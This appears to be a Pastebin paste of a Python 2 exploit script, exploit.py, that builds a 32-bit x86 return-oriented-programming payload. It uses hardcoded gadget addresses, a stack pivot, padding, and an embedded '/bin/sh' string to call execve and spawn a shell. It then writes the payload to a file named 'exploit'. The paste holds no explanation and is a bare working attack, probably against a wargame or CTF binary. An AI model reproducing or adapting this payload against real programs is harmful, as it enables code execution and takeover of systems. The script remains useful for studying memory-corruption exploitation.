Advertisement
Guest User

exploit.py

a guest
Jan 21st, 2018
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.78 KB | None | 0 0
  1. import struct
  2.  
  3. addr_popesp = 0x080bbf66;
  4. addr_pivot = 0xbfffec80 + 0x30 + 0x20;
  5. addr_xoreaxeax = 0x0807d70f;
  6. addr_addeax = 0x0808ee92;
  7. addr_popebx = 0x080481c9;
  8. addr_str = 0xbfffece4 + 0x30 + 0x20;
  9. addr_popedx = 0x0806fd6a;
  10. addr_nulls = 0xbfffeceb + 0x30 + 0x20;
  11. addr_popecx = 0x080e5885;
  12. addr_straddr = 0xbfffecf0 +0x30 + 0x20;
  13. addr_syscall = 0x08070430;
  14. addr_original = 0x8048f2b;
  15.  
  16. popesp = struct.pack("<I",addr_popesp)
  17. pivot = struct.pack("<I",addr_pivot)
  18. xoreaxeax = struct.pack("<I",addr_xoreaxeax)
  19. addeax = struct.pack("<I",addr_addeax)
  20. popebx = struct.pack("<I",addr_popebx)
  21. test = struct.pack("<I",0xDEADC0DE)
  22. str = struct.pack("<I",addr_str)
  23. popedx = struct.pack("<I",addr_popedx)
  24. nulls = struct.pack("<I",addr_nulls)
  25. popecx = struct.pack("<I",addr_popecx)
  26. straddr = struct.pack("<I",addr_straddr)
  27. syscall = struct.pack("<I",addr_syscall)
  28. original = struct.pack("<I",addr_original)
  29.  
  30. payload = xoreaxeax
  31. payload += addeax
  32. payload += "B" * 4
  33. payload += popebx
  34. payload += str
  35. payload += popedx
  36. payload += nulls
  37. payload += popecx
  38. payload += straddr
  39. payload += syscall
  40. payload += original
  41. payload += test
  42. payload += "A" * 972
  43. payload += popesp
  44. payload += pivot
  45.  
  46. #payload = "A" * 1020
  47. #payload += "B" * 4
  48. #payload = xoreaxeax
  49. #payload += addeax
  50. #payload += "B" * 4
  51. #payload += original
  52. #payload += "A" * 1004
  53. #payload += popesp
  54. #payload += pivot
  55.  
  56. paylist = list(payload)
  57. shell = "/bin/sh"
  58. i = 100;
  59. for c in shell:
  60.     paylist[i] = c
  61.     i = i + 1
  62. paylist[i] = '\0'
  63. paylist[i+1] = '\0'
  64. paylist[i+2] = '\0'
  65. paylist[i+3] = '\0'
  66. i = i+5
  67. for c in str:
  68.     paylist[i] = c
  69.     i = i + 1
  70. paylist[i] = '\0'
  71. paylist[i+1] = '\0'
  72. paylist[i+2] = '\0'
  73. paylist[i+3] = '\0'
  74. payload = "".join(paylist)
  75.  
  76. file = open("exploit","w")
  77. file.write(payload)
  78. file.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement